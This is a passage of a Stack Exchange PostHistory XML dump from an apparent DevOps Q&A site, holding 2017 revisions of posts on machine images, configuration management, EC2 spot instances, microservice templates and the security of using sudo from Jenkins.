IDs sufficient?&#xD;&#xA; - Does Development plan features against version numbering for the purposes of setting deadlines?&#xD;&#xA;&#xD;&#xA;Depending on the answers, it might be ideal to use a single version numbering system led by marketing - but marketing will need to do a better job of understanding the risks of under-the-hood changes. If this is needed as a designator for setting deadlines for change integrations, then two version numbering systems might be approperite:&#xD;&#xA;&#xD;&#xA;Side note: git tags would be great for any version numbering scheme you have mentioned." ContentLicense="CC BY-SA 3.0" />
  <row Id="7377" PostHistoryTypeId="5" PostId="2347" RevisionGUID="baa92e05-9609-46da-956b-3bcc84ad0d4d" CreationDate="2017-10-17T21:02:54.487" UserId="4776" Comment="added 416 characters in body" Text="This question is broad so if my answer is a little off-base feel free to add context and specific examples so that I have a better understanding.&#xD;&#xA;&#xD;&#xA;Using a machine image such as AWS' AMI would allow you to create a base or golden image, which you could then maintain and distribute or implement in your continuous delivery. Using this architecture you are ensuring that every microservice is deployed on consistent hardware with identical configuration so any problems you face are related to the microservice/application configuration. &#xD;&#xA;&#xD;&#xA;You can further this immutability with the addition of configuration tools such as Ansible and Packer. Using configuration management you could provision the machine image with whatever you want on it (including the application). Packer would then allow you to take a snapshot of that machine image and each deploy would be identical. &#xD;&#xA;&#xD;&#xA;Using this example you could 'bake' a base AMI with the correct packages, updates, and configuration installed with the help of Ansible and Packer. Additionally, you could look at 'Ansible-Pull' to complete the deploy by pulling the application code, making any changes, and deploying the microservice on top of that base image. &#xD;&#xA;&#xD;&#xA;However the most important advice I can give is to just come up with a solution that the entire organization can support and maintain. It's worth trying to establish an SDLC that solves your particular set of problems, matches the culture and attitude of leadership, and embraces modern architecture practices.&#xD;&#xA;&#xD;&#xA;I've been with three organizations and we've taken three very different approaches. &#xD;&#xA;&#xD;&#xA;Good luck!" ContentLicense="CC BY-SA 3.0" />
  <row Id="7378" PostHistoryTypeId="2" PostId="2349" RevisionGUID="cac0ad31-2d37-49bc-a85d-dc38a7ca6df8" CreationDate="2017-10-17T21:06:45.727" UserId="2845" Text="Use a configuration management/automated system. This is what these were designed for. Things like Kubernetes, Puppet, Chef, Ansible and Salt Stack are designed for just this purpose and can be utilized with Golden Master images, kickstart scripts, Amazon AMIs or just a Docker container. This allows you to use default base templates and then layer on additional roles. This will ensure builds are documented completely (as code) and it will be fast and easy to deploy to production, and will be deployed exactly identically to what was designed or deploy additional instances when the need for scalability or redundancy arises or something breaks. Changes/updates can also be integrated this way. Just as you release software updates, you can release updates to your configuration and the configuration code can be managed just as your software code is managed - in the same repos and with the same workflows. And when upgrade time comes, there is no mystery how the thing is built, just look at the script." ContentLicense="CC BY-SA 3.0" />
  <row Id="7380" PostHistoryTypeId="2" PostId="2351" RevisionGUID="52836d77-a5d5-46e5-973a-7cdce25dd8de" CreationDate="2017-10-17T23:56:05.940" UserId="4778" Text="As per title. I would like to configure automated builds on Docker Hub, [as specified here](https://docs.docker.com/docker-hub/builds/#prerequisites).  &#xD;&#xA;&#xD;&#xA;My build context (the build context is a repository containing a Dockerfile) is hosted in GitLAB." ContentLicense="CC BY-SA 3.0" />
  <row Id="7381" PostHistoryTypeId="1" PostId="2351" RevisionGUID="52836d77-a5d5-46e5-973a-7cdce25dd8de" CreationDate="2017-10-17T23:56:05.940" UserId="4778" Text="Automatic Docker Hub builds from GitLAB, not github" ContentLicense="CC BY-SA 3.0" />
  <row Id="7382" PostHistoryTypeId="3" PostId="2351" RevisionGUID="52836d77-a5d5-46e5-973a-7cdce25dd8de" CreationDate="2017-10-17T23:56:05.940" UserId="4778" Text="&lt;docker&gt;&lt;git&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7383" PostHistoryTypeId="2" PostId="2352" RevisionGUID="2afd061f-bffd-4b2e-ad68-1f37401543c5" CreationDate="2017-10-18T02:17:38.443" UserId="4780" Text="I just started getting familiar with EC2's Spot Requests and Spot Instances (1 day into it!).  I understand that I can save some money doing a Spot Request to create a Spot Instance as opposed to creating an on-demand Instance.  What I don't understand is the correct way to &quot;shut things down&quot;.  If I want to make sure that I'm now longer charged, do I need to to cancel the Spot Request and terminate the Spot Instance?  I noticed that I could solely terminate the Spot Instance: what would this mean in terms of my Spot Request which exists without my instance?&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="7384" PostHistoryTypeId="1" PostId="2352" RevisionGUID="2afd061f-bffd-4b2e-ad68-1f37401543c5" CreationDate="2017-10-18T02:17:38.443" UserId="4780" Text="Cancel a Spot Request vs Terminate Spot Instance" ContentLicense="CC BY-SA 3.0" />
  <row Id="7385" PostHistoryTypeId="3" PostId="2352" RevisionGUID="2afd061f-bffd-4b2e-ad68-1f37401543c5" CreationDate="2017-10-18T02:17:38.443" UserId="4780" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7386" PostHistoryTypeId="5" PostId="2352" RevisionGUID="41d76ad9-ea41-463c-865f-7f8ce12a4135" CreationDate="2017-10-18T05:53:03.157" UserId="47" Comment="improved readability" Text="I just started getting familiar with EC2's Spot Requests and Spot Instances (1 day into it!).  I understand that I can save some money doing a Spot Request to create a Spot Instance as opposed to creating an on-demand Instance.  &#xD;&#xA;&#xD;&#xA;What I don't understand is the correct way to &quot;shut things down&quot;.  If I want to make sure that I'm no longer charged, do I need to to cancel the Spot Request and terminate the Spot Instance?  &#xD;&#xA;&#xD;&#xA;I noticed that I could solely terminate the Spot Instance: what would this mean in terms of my Spot Request which exists without my instance?&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="7387" PostHistoryTypeId="2" PostId="2353" RevisionGUID="daaf05b6-f469-4e23-b5df-89f22dc37131" CreationDate="2017-10-18T06:00:50.737" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7388" PostHistoryTypeId="1" PostId="2353" RevisionGUID="daaf05b6-f469-4e23-b5df-89f22dc37131" CreationDate="2017-10-18T06:00:50.737" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7389" PostHistoryTypeId="2" PostId="2354" RevisionGUID="6ff5abef-3454-48fc-bbf6-62e338cda136" CreationDate="2017-10-18T06:00:50.737" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7390" PostHistoryTypeId="1" PostId="2354" RevisionGUID="6ff5abef-3454-48fc-bbf6-62e338cda136" CreationDate="2017-10-18T06:00:50.737" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7391" PostHistoryTypeId="2" PostId="2355" RevisionGUID="a38346f8-efe3-49b4-9e0e-6719aeb54cef" CreationDate="2017-10-18T06:15:38.993" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7392" PostHistoryTypeId="1" PostId="2355" RevisionGUID="a38346f8-efe3-49b4-9e0e-6719aeb54cef" CreationDate="2017-10-18T06:15:38.993" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7393" PostHistoryTypeId="2" PostId="2356" RevisionGUID="5142da59-6ead-46d9-a39b-0c58f7b7e666" CreationDate="2017-10-18T06:15:38.993" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7394" PostHistoryTypeId="1" PostId="2356" RevisionGUID="5142da59-6ead-46d9-a39b-0c58f7b7e666" CreationDate="2017-10-18T06:15:38.993" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7395" PostHistoryTypeId="2" PostId="2357" RevisionGUID="c8e5e1f1-f67f-4709-9ca9-ddd2186596e8" CreationDate="2017-10-18T06:21:51.127" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7396" PostHistoryTypeId="1" PostId="2357" RevisionGUID="c8e5e1f1-f67f-4709-9ca9-ddd2186596e8" CreationDate="2017-10-18T06:21:51.127" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7397" PostHistoryTypeId="2" PostId="2358" RevisionGUID="03d74a30-dde7-477d-be07-905b9fc94d8a" CreationDate="2017-10-18T06:21:51.127" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7398" PostHistoryTypeId="1" PostId="2358" RevisionGUID="03d74a30-dde7-477d-be07-905b9fc94d8a" CreationDate="2017-10-18T06:21:51.127" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7399" PostHistoryTypeId="2" PostId="2359" RevisionGUID="6040e66f-821b-4230-8140-92cdc7eb1bb3" CreationDate="2017-10-18T06:25:41.463" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7400" PostHistoryTypeId="1" PostId="2359" RevisionGUID="6040e66f-821b-4230-8140-92cdc7eb1bb3" CreationDate="2017-10-18T06:25:41.463" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7401" PostHistoryTypeId="2" PostId="2360" RevisionGUID="5dc1d507-5011-4332-bdbd-8485239fa1ee" CreationDate="2017-10-18T06:25:41.463" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7402" PostHistoryTypeId="1" PostId="2360" RevisionGUID="5dc1d507-5011-4332-bdbd-8485239fa1ee" CreationDate="2017-10-18T06:25:41.463" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7403" PostHistoryTypeId="2" PostId="2361" RevisionGUID="3ad86a53-b328-4dee-84f7-d8eab8cd36a3" CreationDate="2017-10-18T06:35:56.453" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7404" PostHistoryTypeId="1" PostId="2361" RevisionGUID="3ad86a53-b328-4dee-84f7-d8eab8cd36a3" CreationDate="2017-10-18T06:35:56.453" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7405" PostHistoryTypeId="2" PostId="2362" RevisionGUID="6bc5a3f8-36cf-457e-8d9b-48bbc2d53a7e" CreationDate="2017-10-18T06:35:56.453" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7406" PostHistoryTypeId="1" PostId="2362" RevisionGUID="6bc5a3f8-36cf-457e-8d9b-48bbc2d53a7e" CreationDate="2017-10-18T06:35:56.453" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7407" PostHistoryTypeId="2" PostId="2363" RevisionGUID="c9375607-bcab-4e44-a2b9-028b35b48f44" CreationDate="2017-10-18T06:45:23.107" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7408" PostHistoryTypeId="1" PostId="2363" RevisionGUID="c9375607-bcab-4e44-a2b9-028b35b48f44" CreationDate="2017-10-18T06:45:23.107" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7409" PostHistoryTypeId="2" PostId="2364" RevisionGUID="191e83e6-748a-4d99-916d-c5fa83920421" CreationDate="2017-10-18T06:45:23.107" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7410" PostHistoryTypeId="1" PostId="2364" RevisionGUID="191e83e6-748a-4d99-916d-c5fa83920421" CreationDate="2017-10-18T06:45:23.107" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7411" PostHistoryTypeId="5" PostId="35" RevisionGUID="9fa7db6a-bc2f-4a9b-8bd5-cbcefb206d20" CreationDate="2017-10-18T06:51:01.017" UserId="47" Comment="added 865 characters in body" Text="Git is an open source distributed version control system.&#xD;&#xA;&#xD;&#xA;From [Homepage][1]:&#xD;&#xA;&#xD;&#xA;&gt; Git is a [free and open source][2] distributed version control system&#xD;&#xA;&gt; designed to handle everything from small to very large projects with&#xD;&#xA;&gt; speed and efficiency.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Git is [easy to learn][3] and has a [tiny footprint with lightning&#xD;&#xA;&gt; fast performance][4]. It outclasses SCM tools like Subversion, CVS,&#xD;&#xA;&gt; Perforce, and ClearCase with features like [cheap local branching][5],&#xD;&#xA;&gt; convenient [staging areas][6], and [multiple workflows][7].&#xD;&#xA;&#xD;&#xA;### Resources&#xD;&#xA;&#xD;&#xA;- [Homepage][1].&#xD;&#xA;- [Pro Git book][8].&#xD;&#xA;- [Git Reference][9].&#xD;&#xA;&#xD;&#xA;### Related tags:&#xD;&#xA;&#xD;&#xA;- [tag:git-hooks]&#xD;&#xA;- [tag:git-lfs]&#xD;&#xA;- [tag:github]&#xD;&#xA;- [tag:gitlab]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git-scm.com/&#xD;&#xA;  [2]: https://git-scm.com/about/free-and-open-source&#xD;&#xA;  [3]: https://git-scm.com/documentation&#xD;&#xA;  [4]: https://git-scm.com/about/small-and-fast&#xD;&#xA;  [5]: https://git-scm.com/about/branching-and-merging&#xD;&#xA;  [6]: https://git-scm.com/about/staging-area&#xD;&#xA;  [7]: https://git-scm.com/about/distributed&#xD;&#xA;  [8]: https://git-scm.com/book&#xD;&#xA;  [9]: http://gitref.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7412" PostHistoryTypeId="24" PostId="35" RevisionGUID="9fa7db6a-bc2f-4a9b-8bd5-cbcefb206d20" CreationDate="2017-10-18T06:51:01.017" Comment="Proposed by 47 approved by 40 edit id of 500" ContentLicense="CC BY-SA 3.0" />
  <row Id="7413" PostHistoryTypeId="4" PostId="1357" RevisionGUID="65a07310-9750-4ad7-a18b-d98f084fc196" CreationDate="2017-10-18T07:32:54.707" UserId="47" Comment="fixed typo in title" Text="Jenkins Testing PR's - allowing broken builds" ContentLicense="CC BY-SA 3.0" />
  <row Id="7414" PostHistoryTypeId="2" PostId="2365" RevisionGUID="ea7a2380-7bbf-4b46-9552-60971a35c415" CreationDate="2017-10-18T07:38:29.160" UserId="2956" Text="AWS stores **whole** AMI as a single non-differential snapshot thus they charge for a full size of files in an image." ContentLicense="CC BY-SA 3.0" />
  <row Id="7415" PostHistoryTypeId="5" PostId="2354" RevisionGUID="8c23a8f4-a7d2-4f6b-a688-c62f02a0481d" CreationDate="2017-10-18T08:19:07.440" UserId="47" Comment="added 167 characters in body" Text="For questions about the sysadmin - short for (IT) system administrator - role, traditionally in Operations and, from the DevOps prospective, in the Ops side of DevOps." ContentLicense="CC BY-SA 3.0" />
  <row Id="7416" PostHistoryTypeId="24" PostId="2354" RevisionGUID="8c23a8f4-a7d2-4f6b-a688-c62f02a0481d" CreationDate="2017-10-18T08:19:07.440" Comment="Proposed by 47 approved by 40, 13 edit id of 494" ContentLicense="CC BY-SA 3.0" />
  <row Id="7417" PostHistoryTypeId="5" PostId="2364" RevisionGUID="4169bec4-b011-4376-8cb7-57ff1a081e15" CreationDate="2017-10-18T08:19:21.667" UserId="47" Comment="added 117 characters in body" Text="For questions about NixOS, a GNU/Linux distribution focused reliability by extensive use of configuration management." ContentLicense="CC BY-SA 3.0" />
  <row Id="7418" PostHistoryTypeId="24" PostId="2364" RevisionGUID="4169bec4-b011-4376-8cb7-57ff1a081e15" CreationDate="2017-10-18T08:19:21.667" Comment="Proposed by 47 approved by 40, 13 edit id of 503" ContentLicense="CC BY-SA 3.0" />
  <row Id="7419" PostHistoryTypeId="5" PostId="2356" RevisionGUID="ff18831b-4598-4394-a87a-a5cbecce661f" CreationDate="2017-10-18T08:19:37.707" UserId="47" Comment="added 188 characters in body" Text="For questions about post-mortem analysis, performed after an entity (process, service, system, etc) sustained a failure, typically (but not necessarily) catastrophic - as the name implies." ContentLicense="CC BY-SA 3.0" />
  <row Id="7420" PostHistoryTypeId="24" PostId="2356" RevisionGUID="ff18831b-4598-4394-a87a-a5cbecce661f" CreationDate="2017-10-18T08:19:37.707" Comment="Proposed by 47 approved by 40, 13 edit id of 495" ContentLicense="CC BY-SA 3.0" />
  <row Id="7421" PostHistoryTypeId="5" PostId="2362" RevisionGUID="2d1b1c8f-9d95-4938-8669-948b2fc9c18b" CreationDate="2017-10-18T08:19:44.117" UserId="47" Comment="added 234 characters in body" Text="For questions about IT operations - the Ops portion of DevOps - which typically covers installing, configuring, upgrading/downgrading, monitoring, etc. and in general maintaining IT computing infrastructure, services and applications." ContentLicense="CC BY-SA 3.0" />
  <row Id="7422" PostHistoryTypeId="24" PostId="2362" RevisionGUID="2d1b1c8f-9d95-4938-8669-948b2fc9c18b" CreationDate="2017-10-18T08:19:44.117" Comment="Proposed by 47 approved by 40, 13 edit id of 501" ContentLicense="CC BY-SA 3.0" />
  <row Id="7423" PostHistoryTypeId="5" PostId="2360" RevisionGUID="c4a738e9-7077-41c8-bc3f-6c766cbb00c2" CreationDate="2017-10-18T08:19:51.993" UserId="47" Comment="added 134 characters in body" Text="For questions about git hooks, which are customisation scripts extending the default capabilities of git version control repositories." ContentLicense="CC BY-SA 3.0" />
  <row Id="7424" PostHistoryTypeId="24" PostId="2360" RevisionGUID="c4a738e9-7077-41c8-bc3f-6c766cbb00c2" CreationDate="2017-10-18T08:19:51.993" Comment="Proposed by 47 approved by 40, 13 edit id of 499" ContentLicense="CC BY-SA 3.0" />
  <row Id="7425" PostHistoryTypeId="5" PostId="2325" RevisionGUID="708f1415-230a-4307-aba1-3fb34af7105b" CreationDate="2017-10-18T08:20:26.650" UserId="210" Comment="added 91 characters in body" Text="Questions about versioning, e.g. should semantic versioning be used and how to increment it" ContentLicense="CC BY-SA 3.0" />
  <row Id="7426" PostHistoryTypeId="24" PostId="2325" RevisionGUID="708f1415-230a-4307-aba1-3fb34af7105b" CreationDate="2017-10-18T08:20:26.650" Comment="Proposed by 210 approved by 47, 13 edit id of 493" ContentLicense="CC BY-SA 3.0" />
  <row Id="7427" PostHistoryTypeId="6" PostId="1357" RevisionGUID="d07acd5c-1042-4b35-ba55-e525c5eb99fe" CreationDate="2017-10-18T08:57:42.163" UserId="47" Comment="edited tags" Text="&lt;jenkins&gt;&lt;gitlab&gt;&lt;builds&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7429" PostHistoryTypeId="10" PostId="1114" RevisionGUID="b9a31e01-d028-4720-802d-b349407f8ac1" CreationDate="2017-10-18T10:08:22.833" UserId="13" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:4369,&quot;DisplayName&quot;:&quot;user2640621&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="7430" PostHistoryTypeId="2" PostId="2366" RevisionGUID="acb7e03b-bbc5-4ea3-af44-083883841f5c" CreationDate="2017-10-18T12:49:22.740" UserId="4544" Text="You can have Bitbucket pipeline if you are using Bitbucket Cloud&#xD;&#xA;https://bitbucket.org/product/features/pipelines&#xD;&#xA;&#xD;&#xA;Or Bamboo Specs https://confluence.atlassian.com/bameap/bamboo-specs-883185038.html if you are hosting your own Bamboo Server. &#xD;&#xA;&#xD;&#xA;I'm looking into Bamboo specs right now and looks good and easy to implement. " ContentLicense="CC BY-SA 3.0" />
  <row Id="7432" PostHistoryTypeId="2" PostId="2367" RevisionGUID="955c9d50-bec6-4871-895c-63dd5452ebdb" CreationDate="2017-10-18T19:03:49.087" UserId="3920" Text="I use [Publish Over SSH plugin][1] to deploy my apps from `Jenkins` to different environments. Some deployment jobs do environment preps and things like stop and restart the app server system service. Some of those commands require `sudo`.&#xD;&#xA;&#xD;&#xA;I am just curious if it can be a bad security practice to require sudo within remote publish and execution Jenkins jobs. Should we change the security policy on the target host to allow the required functions to be performed without sudo?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Publish+Over+SSH+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="7433" PostHistoryTypeId="1" PostId="2367" RevisionGUID="955c9d50-bec6-4871-895c-63dd5452ebdb" CreationDate="2017-10-18T19:03:49.087" UserId="3920" Text="Is it bad to use sudo from Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7434" PostHistoryTypeId="3" PostId="2367" RevisionGUID="955c9d50-bec6-4871-895c-63dd5452ebdb" CreationDate="2017-10-18T19:03:49.087" UserId="3920" Text="&lt;jenkins&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7435" PostHistoryTypeId="5" PostId="2320" RevisionGUID="02c4273a-6923-4fb3-8dd5-777828d39379" CreationDate="2017-10-18T22:06:00.143" UserId="4369" Comment="Add clarification about current workflow" Text="My organisation is experiencing an explosion of microservices. We currently have no formalised way of bootstrapping new projects. I'm finding that a team will come to me with a bug in their deployment or build process, and I will spend time on it only to realise I've already resolved it in another project. There's also a lot of inconsistency between projects that I'd like to see standardised.&#xD;&#xA;&#xD;&#xA;The changes often involve a single file (e.g. serverless.yml or a Makefile) so a solution involving shared libraries e.g. git submodules doesn't seem viable.&#xD;&#xA;&#xD;&#xA;How can I ensure that new microservices conform to organisation standards and include bugfixes/features from existing projects in a way that's easy and intuitive for developers who want to start new projects? What are some best practises around resolving these issues?&#xD;&#xA;&#xD;&#xA;The current workflow we have is to ask the person next to you &quot;what project should I clone from to use as a template?&quot; and then delete all the stuff that's not necessary for that project." ContentLicense="CC BY-SA 3.0" />
  <row Id="7436" PostHistoryTypeId="5" PostId="2320" RevisionGUID="10cfdfb6-54d2-44c5-a31f-bafefc7478ae" CreationDate="2017-10-18T22:11:48.283" UserId="4369" Comment="Add clarification, add comment about configuration management solution" Text="My organisation is experiencing an explosion of microservices. We currently have no formalised way of bootstrapping new projects. I'm finding that a team will come to me with a bug in their deployment or build process, and I will spend time on it only to realise I've already resolved it in another project. There's also a lot of inconsistency between projects that I'd like to see standardised.&#xD;&#xA;&#xD;&#xA;The changes often involve a single file (e.g. serverless.yml or a Makefile) so a solution involving shared libraries e.g. git submodules doesn't seem viable. Each project will have its own set of configuration that needs to be maintained, e.g. Dockerfiles or serverless.yml, so centralised configuration management solutions aren't really applicable.&#xD;&#xA;&#xD;&#xA;How can I ensure that new microservices conform to organisation standards and include bugfixes/features from existing projects in a way that's easy and intuitive for developers who want to start new projects? What are some best practises around resolving these issues?&#xD;&#xA;&#xD;&#xA;The current workflow we have is to ask the person next to you &quot;what project should I clone from to use as a template?&quot; and then delete all the stuff that's not necessary for that project." ContentLicense="CC BY-SA 3.0" />
  <row Id="7437" PostHistoryTypeId="50" PostId="2004" RevisionGUID="2c05ed4b-0cda-4a78-a015-0b7a3051a402" CreationDate="2017-10-18T22:21:32.080" UserId="-1" />
  <row Id="7438" PostHistoryTypeId="2" PostId="2368" RevisionGUID="67c22d7b-c083-4367-9935-756e60b2dc55" CreationDate="2017-10-18T22:31:07.837" UserId="4369" Text="I'll add an answer of what my solution is so far, but I'm still really interested in hearing how other organisations are solving this problem and the best practices they have.&#xD;&#xA;&#xD;&#xA;To resolve the issue of not having a consistent base to create projects for, my idea is to create a repository (repositories?) of boilerplates/templates and use [cookiecutter][1] as a tool to scaffold out new microservices. This way, each project is created from a standard base with all the lessons we've learned as an organisation integrated in to it. Any changes we make can be integrated upstream in to the boilerplate repository. I imagine we'll have templates for Nodejs Docker images, Serverless SPAs, Python lambdas, etc.&#xD;&#xA;&#xD;&#xA;To resolve the problem of changes made to the templates being propogated downstream to every project, my solution is to implement a process where owners of microservices are made aware of changes to the template and are then responsible for propagating those changes to their microservice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/audreyr/cookiecutter" ContentLicense="CC BY-SA 3.0" />
  <row Id="7439" PostHistoryTypeId="2" PostId="2369" RevisionGUID="7af33c95-a6d3-4a94-b7d3-f2f2b4af2834" CreationDate="2017-10-19T01:18:45.047" UserId="739" Text="Whether you allow remote `sudo` or remote access to something that does `SUID root` you have a pretty similar attack surface.  I would keep `sudo` in the chain because it lets you limit the commands easily and has logging that will be vital if you need to audit things later.&#xD;&#xA;&#xD;&#xA;There are other things you can do to make this more secure though:&#xD;&#xA;&#xD;&#xA;* tighten up `ssh`&#xD;&#xA;* only allow the restart commands for a few specific users including one for jenkins&#xD;&#xA;* only allow logins for those specific users from all internal IP's or just jenkins and jump box IP's&#xD;&#xA;* store logs on remote boxes so they can't be mucked with" ContentLicense="CC BY-SA 3.0" />
  <row Id="7440" PostHistoryTypeId="5" PostId="2369" RevisionGUID="372713c0-c613-4bf2-b697-299968436ad7" CreationDate="2017-10-19T02:32:13.143" UserId="739" Comment="emphasize good history of sudo" Text="Whether you allow remote `sudo` or remote access to something that does `SUID root` you have a pretty similar attack surface.  I would keep `sudo` in the chain because it lets you limit the commands easily and has logging that will be vital if you need to audit things later.  `sudo` also has a much longer history in production.  Doing something else will have less history and higher changes of unpleasant surprises.&#xD;&#xA;&#xD;&#xA;There are other things you can do to make this more secure though:&#xD;&#xA;&#xD;&#xA;* tighten up `ssh`&#xD;&#xA;* only allow the restart commands for a few specific users including one for jenkins&#xD;&#xA;* only allow logins for those specific users from all internal IP's or just jenkins and jump box IP's&#xD;&#xA;* store logs on remote boxes so they can't be mucked with" ContentLicense="CC BY-SA 3.0" />
  <row Id="7441" PostHistoryTypeId="5" PostId="2349" RevisionGUID="9b835b06-f626-4562-8e17-287f8286926d" CreationDate="2017-10-19T05:15:17.367" UserId="2845" Comment="added 1897 characters in body" Text="Use a configuration management/automated deployment system. This is what these were designed for. Things like Kubernetes, Puppet, Chef, Ansible and Salt Stack are designed for just this purpose and can be utilized with Golden Master templates, kickstart scripts, Amazon AMIs or just a Docker container. This allows you to use default base templates and then layer on additional roles. This will ensure builds are documented completely (as code) and it will be fast and easy to deploy to production, and will be deployed exactly identically to what was designed or deploy additional instances when the need for scalability or redundancy arises or something breaks. Changes/updates can also be integrated this way. Just as you release software updates, you can release updates to your configuration and the configuration code can be managed just as your software code is managed - in the same repos and with the same workflows. And when upgrade time comes, there is no mystery how the thing is built, just look at the script.&#xD;&#xA;&#xD;&#xA;One way that configuration management systems do this is through heavy use of templating for your configuration files. For example, there are generally many lines that will be the same or similar in your environment. SaltStack utilizes [jinja](http://jinja.pocoo.org/docs/2.9/) templates and puppet uses [Embedded Ruby templates](https://puppet.com/docs/puppet/5.3/lang_template_erb.html). Using AWS as an example, you may need to set a, api key, IAM role, region (or randomly select a region from a list of regions), a VPC, etc that is all the same across all instances. But then you need to have your functions and outputs unique. Or better yet you could write a puppet module or salt formula which defines &quot;contracts&quot; and use those contracts (api definitions) for both inputs and outputs saving you from having to configure your microservices two or three places.&#xD;&#xA;&#xD;&#xA;SaltStack for example recently had a meetup to discuss this [particular scenario](https://my.adobeconnect.com/puyfi7f5jwkq/). Furthermore, SaltStack is also able to [manage and deploy docker containers natively](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.dockerio.html). (Puppet [also has a module for Docker](https://github.com/garethr/garethr-docker)) Likewise Ansible [has playbooks and docs for working with serverless deployments](http://docs.ansible.com/ansible/latest/serverless_module.html) and [Docker](http://docs.ansible.com/ansible/latest/docker_module.html) [containers](https://www.ansible.com/docker).&#xD;&#xA;&#xD;&#xA;Also, if you wish to continue with your serverless theme/paradigm, [Puppet](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-masterless-puppet-environment-on-ubuntu-14-04), Ansible and [saltstack](https://docs.saltstack.com/en/latest/topics/tutorials/quickstart.html) all are masterless or support a masterless mode, if you wish to continue this theme." ContentLicense="CC BY-SA 3.0" />
  <row Id="7442" PostHistoryTypeId="5" PostId="2320" RevisionGUID="015acf41-a375-4bd9-b264-894acbfae234" CreationDate="2017-10-19T06:05:51.293" UserId="4369" Comment="Configuration management solutions can be relevant, just not the parts used for managing VMs" Text="My organisation is experiencing an explosion of microservices. We currently have no formalised way of bootstrapping new projects. I'm finding that a team will come to me with a bug in their deployment or build process, and I will spend time on it only to realise I've already resolved it in another project. There's also a lot of inconsistency between projects that I'd like to see standardised.&#xD;&#xA;&#xD;&#xA;The changes often involve a single file (e.g. serverless.yml or a Makefile) so a solution involving shared libraries e.g. git submodules doesn't seem viable. Each project will have its own set of configuration that needs to be maintained, e.g. Dockerfiles or serverless.yml, so centralised configuration management solutions for VMs aren't really applicable.&#xD;&#xA;&#xD;&#xA;How can I ensure that new microservices conform to organisation standards and include bugfixes/features from existing projects in a way that's easy and intuitive for developers who want to start new projects? What are some best practises around resolving these issues?&#xD;&#xA;&#xD;&#xA;The current workflow we have is to ask the person next to you &quot;what project should I clone from to use as a template?&quot; and then delete all the stuff that's not necessary for that project." ContentLicense="CC BY-SA 3.0" />
  <row Id="7443" PostHistoryTypeId="50" PostId="2077" RevisionGUID="63fac138-3737-4bcb-86df-7a6b254f2917" CreationDate="2017-10-19T09:30:56.020" UserId="-1" />
  <row Id="7444" PostHistoryTypeId="2" PostId="2370" RevisionGUID="9f2c80a5-61c2-4f68-b86c-df4b4893abf9" CreationDate="2017-10-19T15:25:32.507" UserId="4798" Text="Use [StackImpact agent][1] to get CPU and memory profiles. More details in the blog post: [AWS Lambda CPU and Memory Profiling (Node.js)][2]. Because Lambda Node.js process is freezing between requests, most of the other tools will probably not work out of the box.&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/stackimpact/stackimpact-nodejs&#xD;&#xA;  [2]: https://stackimpact.com/blog/aws-lambda-cpu-and-memory-profiling-node-js/&#xD;&#xA;  [3]: https://i.stack.imgur.com/AwxNM.png&#xD;&#xA;&#xD;&#xA;Disclaimer: I work for StackImpact" ContentLicense="CC BY-SA 3.0" />
